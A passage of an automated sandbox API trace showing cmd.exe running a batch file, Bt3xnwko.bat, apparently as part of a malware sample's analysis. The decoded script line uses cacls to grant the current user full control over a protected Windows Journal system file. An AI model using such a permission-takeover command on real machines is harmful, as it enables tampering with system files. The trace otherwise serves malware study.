HALPmcxz\\Desktop", lpFilePart=0x26fb5c*="Desktop") returned 0x25 [0063.046] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0063.046] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x26f8dc | out: lpFindFileData=0x26f8dc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x543ef0 [0063.047] FindClose (in: hFindFile=0x543ef0 | out: hFindFile=0x543ef0) returned 1 [0063.047] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x26f8dc | out: lpFindFileData=0x26f8dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x543ef0 [0063.047] FindClose (in: hFindFile=0x543ef0 | out: hFindFile=0x543ef0) returned 1 [0063.047] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0063.047] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x26f8dc | out: lpFindFileData=0x26f8dc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x543ef0 [0063.047] FindClose (in: hFindFile=0x543ef0 | out: hFindFile=0x543ef0) returned 1 [0063.047] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0063.047] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0063.047] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0063.047] GetProcessHeap () returned 0x530000 [0063.047] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546be8 | out: hHeap=0x530000) returned 1 [0063.047] GetEnvironmentStringsW () returned 0x5460f8* [0063.047] GetProcessHeap () returned 0x530000 [0063.047] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xb36) returned 0x547f38 [0063.047] FreeEnvironmentStringsW (penv=0x5460f8) returned 1 [0063.047] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0063.047] GetProcessHeap () returned 0x530000 [0063.047] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5476d8 | out: hHeap=0x530000) returned 1 [0063.047] GetProcessHeap () returned 0x530000 [0063.047] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x400e) returned 0x548a78 [0063.048] GetProcessHeap () returned 0x530000 [0063.048] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xee) returned 0x544dc8 [0063.048] GetProcessHeap () returned 0x530000 [0063.048] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x4008) returned 0x54ca90 [0063.048] GetProcessHeap () returned 0x530000 [0063.048] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x4008) returned 0x550aa0 [0063.049] GetProcessHeap () returned 0x530000 [0063.049] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x548a78 | out: hHeap=0x530000) returned 1 [0063.049] GetConsoleOutputCP () returned 0x1b5 [0063.049] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0063.049] GetUserDefaultLCID () returned 0x409 [0063.049] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0063.050] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x26fca0, cchData=128 | out: lpLCData="0") returned 2 [0063.050] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x26fca0, cchData=128 | out: lpLCData="0") returned 2 [0063.050] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x26fca0, cchData=128 | out: lpLCData="1") returned 2 [0063.050] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0063.050] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0063.050] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0063.050] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0063.050] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0063.050] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0063.050] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0063.050] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0063.050] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0063.050] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0063.050] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0063.051] GetProcessHeap () returned 0x530000 [0063.051] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20c) returned 0x544ec0 [0063.051] GetConsoleTitleW (in: lpConsoleTitle=0x544ec0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0063.052] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0063.052] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0063.052] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0063.052] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0063.052] GetProcessHeap () returned 0x530000 [0063.052] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x400a) returned 0x548a78 [0063.052] GetProcessHeap () returned 0x530000 [0063.052] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x548a78 | out: hHeap=0x530000) returned 1 [0063.054] _wcsicmp (_String1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"", _String2=")") returned -7 [0063.054] _wcsicmp (_String1="FOR", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0063.054] _wcsicmp (_String1="FOR/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0063.054] _wcsicmp (_String1="IF", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0063.054] _wcsicmp (_String1="IF/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0063.054] _wcsicmp (_String1="REM", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0063.054] _wcsicmp (_String1="REM/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0063.054] GetProcessHeap () returned 0x530000 [0063.054] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x58) returned 0x5450d8 [0063.054] GetProcessHeap () returned 0x530000 [0063.054] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x72) returned 0x540ee8 [0063.055] GetProcessHeap () returned 0x530000 [0063.055] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x7e) returned 0x545138 [0063.056] GetConsoleTitleW (in: lpConsoleTitle=0x26f998, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0063.056] GetFileAttributesW (lpFileName="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\\"c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat\"")) returned 0xffffffff [0063.056] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0063.056] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0063.056] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0063.056] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0063.056] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0063.056] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0063.056] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0063.056] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0063.056] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0063.056] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0063.056] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0063.056] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0063.056] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0063.056] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0063.056] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0063.056] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0063.057] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0063.057] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0063.057] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0063.057] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0063.057] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0063.057] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0063.057] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0063.057] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0063.057] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0063.057] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0063.057] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0063.057] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0063.057] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0063.057] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0063.057] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0063.057] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0063.057] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0063.057] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0063.057] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0063.057] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0063.057] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0063.057] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0063.057] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0063.057] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0063.057] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0063.057] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0063.057] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0063.057] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0063.057] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0063.057] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0063.057] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0063.057] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0063.057] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0063.057] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0063.057] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0063.057] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0063.057] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0063.057] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0063.057] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0063.057] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0063.057] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0063.058] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0063.058] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0063.058] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0063.058] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0063.058] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0063.058] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0063.058] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0063.058] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0063.058] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0063.058] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0063.058] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0063.058] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0063.058] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0063.058] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0063.058] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0063.058] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0063.058] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0063.058] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0063.058] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0063.058] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0063.058] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0063.058] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0063.058] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0063.058] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0063.058] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0063.058] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0063.058] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0063.058] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0063.058] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0063.058] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0063.058] GetProcessHeap () returned 0x530000 [0063.058] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x210) returned 0x5451c0 [0063.058] GetProcessHeap () returned 0x530000 [0063.058] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xe8) returned 0x5453d8 [0063.059] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0063.059] GetProcessHeap () returned 0x530000 [0063.059] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x418) returned 0x5307f0 [0063.060] SetErrorMode (uMode=0x0) returned 0x0 [0063.060] SetErrorMode (uMode=0x1) returned 0x0 [0063.060] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.", nBufferLength=0x208, lpBuffer=0x5307f8, lpFilePart=0x26f4b8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x26f4b8*="Desktop") returned 0x25 [0063.060] SetErrorMode (uMode=0x0) returned 0x1 [0063.060] GetProcessHeap () returned 0x530000 [0063.060] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5307f0, Size=0x6e) returned 0x5307f0 [0063.060] GetProcessHeap () returned 0x530000 [0063.060] RtlSizeHeap (HeapHandle=0x530000, Flags=0x0, MemoryPointer=0x5307f0) returned 0x6e [0063.060] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.") returned 1 [0063.060] GetProcessHeap () returned 0x530000 [0063.060] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x5a) returned 0x5454c8 [0063.060] GetProcessHeap () returned 0x530000 [0063.060] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xa8) returned 0x545530 [0063.060] GetProcessHeap () returned 0x530000 [0063.060] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x545530, Size=0x5a) returned 0x545530 [0063.060] GetProcessHeap () returned 0x530000 [0063.060] RtlSizeHeap (HeapHandle=0x530000, Flags=0x0, MemoryPointer=0x545530) returned 0x5a [0063.060] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0063.060] GetProcessHeap () returned 0x530000 [0063.060] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xe0) returned 0x530868 [0063.063] GetProcessHeap () returned 0x530000 [0063.063] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x530868, Size=0x76) returned 0x530868 [0063.063] GetProcessHeap () returned 0x530000 [0063.063] RtlSizeHeap (HeapHandle=0x530000, Flags=0x0, MemoryPointer=0x530868) returned 0x76 [0063.063] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0063.063] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", fInfoLevelId=0x1, lpFindFileData=0x26f254, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f254) returned 0x545598 [0063.064] GetProcessHeap () returned 0x530000 [0063.064] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x14) returned 0x5455d8 [0063.064] FindClose (in: hFindFile=0x545598 | out: hFindFile=0x545598) returned 1 [0063.064] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0063.064] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0063.064] GetConsoleTitleW (in: lpConsoleTitle=0x26f72c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0063.064] GetProcessHeap () returned 0x530000 [0063.064] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x11c) returned 0x5308e8 [0063.064] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x754b0000 [0063.064] GetProcAddress (hModule=0x754b0000, lpProcName="SaferIdentifyLevel") returned 0x754d2102 [0063.064] IdentifyCodeAuthzLevelW () returned 0x1 [0063.070] GetProcAddress (hModule=0x754b0000, lpProcName="SaferComputeTokenFromLevel") returned 0x754d3352 [0063.070] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0063.071] GetProcAddress (hModule=0x754b0000, lpProcName="SaferCloseLevel") returned 0x754d3825 [0063.071] CloseCodeAuthzLevel () returned 0x1 [0063.071] SetErrorMode (uMode=0x0) returned 0x0 [0063.071] SetErrorMode (uMode=0x1) returned 0x0 [0063.071] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x104, lpBuffer=0x5451c8, lpFilePart=0x26f618 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x26f618*="Bt3xnwko.bat") returned 0x32 [0063.071] SetErrorMode (uMode=0x0) returned 0x1 [0063.071] GetProcessHeap () returned 0x530000 [0063.071] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x72) returned 0x540f68 [0063.071] wcsspn (_String=" \"C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\"", _Control=" \x09") returned 0x1 [0063.071] GetProcessHeap () returned 0x530000 [0063.071] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x7c) returned 0x5311b8 [0063.071] GetProcessHeap () returned 0x530000 [0063.071] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xf0) returned 0x5460f8 [0063.071] GetProcessHeap () returned 0x530000 [0063.071] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5460f8, Size=0x7e) returned 0x5460f8 [0063.071] GetProcessHeap () returned 0x530000 [0063.071] RtlSizeHeap (HeapHandle=0x530000, Flags=0x0, MemoryPointer=0x5460f8) returned 0x7e [0063.072] CmdBatNotification () returned 0x54522a [0063.072] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x26f65c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0063.072] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0063.072] _get_osfhandle (_FileHandle=3) returned 0x78 [0063.072] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.072] _get_osfhandle (_FileHandle=3) returned 0x78 [0063.072] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.072] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x26f640, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x26f640*=0xe2, lpOverlapped=0x0) returned 1 [0063.073] SetFilePointer (in: hFile=0x78, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0063.073] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=32, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cacls %1 /E /G %USERNAME%:F /C\r\n") returned 32 [0063.074] _get_osfhandle (_FileHandle=3) returned 0x78 [0063.074] GetFileType (hFile=0x78) returned 0x1 [0063.074] _get_osfhandle (_FileHandle=3) returned 0x78 [0063.074] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0063.074] GetProcessHeap () returned 0x530000 [0063.074] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x400a) returned 0x548a78 [0063.074] GetProcessHeap () returned 0x530000 [0063.074] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x4008) returned 0x554ab0 [0063.075] GetProcessHeap () returned 0x530000 [0063.075] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1a) returned 0x5477c8 [0063.075] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="5p5NrGJn0jS HALPmcxz") returned 0x14 [0063.075] GetProcessHeap () returned 0x530000 [0063.075] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5477c8 | out: hHeap=0x530000) returned 1 [0063.075] GetProcessHeap () returned 0x530000 [0063.075] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x554ab0 | out: hHeap=0x530000) returned 1 [0063.075] GetProcessHeap () returned 0x530000 [0063.075] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x548a78 | out: hHeap=0x530000) returned 1 [0063.075] _wcsicmp (_String1="cacls", _String2=")") returned 58 [0063.075] _wcsicmp (_String1="FOR", _String2="cacls") returned 3 [0063.075] _wcsicmp (_String1="FOR/?", _String2="cacls") returned 3 [0063.075] _wcsicmp (_String1="IF", _String2="cacls") returned 6 [0063.075] _wcsicmp (_String1="IF/?", _String2="cacls") returned 6 [0063.075] _wcsicmp (_String1="REM", _String2="cacls") returned 15 [0063.075] _wcsicmp (_String1="REM/?", _String2="cacls") returned 15 [0063.075] GetProcessHeap () returned 0x530000 [0063.075] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x58) returned 0x531240 [0063.075] GetProcessHeap () returned 0x530000 [0063.075] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x14) returned 0x5312a0 [0063.077] GetProcessHeap () returned 0x530000 [0063.077] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xbe) returned 0x546180 [0063.078] _tell (_FileHandle=3) returned 32 [0063.078] _close (_FileHandle=3) returned 0 [0063.078] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f414 | out: _Buffer="\r\n") returned 2 [0063.078] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.078] GetFileType (hFile=0x7) returned 0x2 [0063.489] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.489] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f3d4 | out: lpMode=0x26f3d4) returned 1 [0063.489] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.489] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f400, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f400*=0x2) returned 1 [0063.489] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0063.489] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0063.490] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x26f410 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0063.490] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x26f410 | out: _Buffer=">") returned 1 [0063.490] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.490] GetFileType (hFile=0x7) returned 0x2 [0063.490] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.490] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f3d8 | out: lpMode=0x26f3d8) returned 1 [0063.490] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.490] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x26f404, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x26f404*=0x26) returned 1 [0063.491] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.491] GetFileType (hFile=0x7) returned 0x2 [0063.491] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.491] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f65c | out: lpMode=0x26f65c) returned 1 [0063.492] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.492] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x5312a8*, nNumberOfCharsToWrite=0x5, lpNumberOfCharsWritten=0x26f688, lpReserved=0x0 | out: lpBuffer=0x5312a8*, 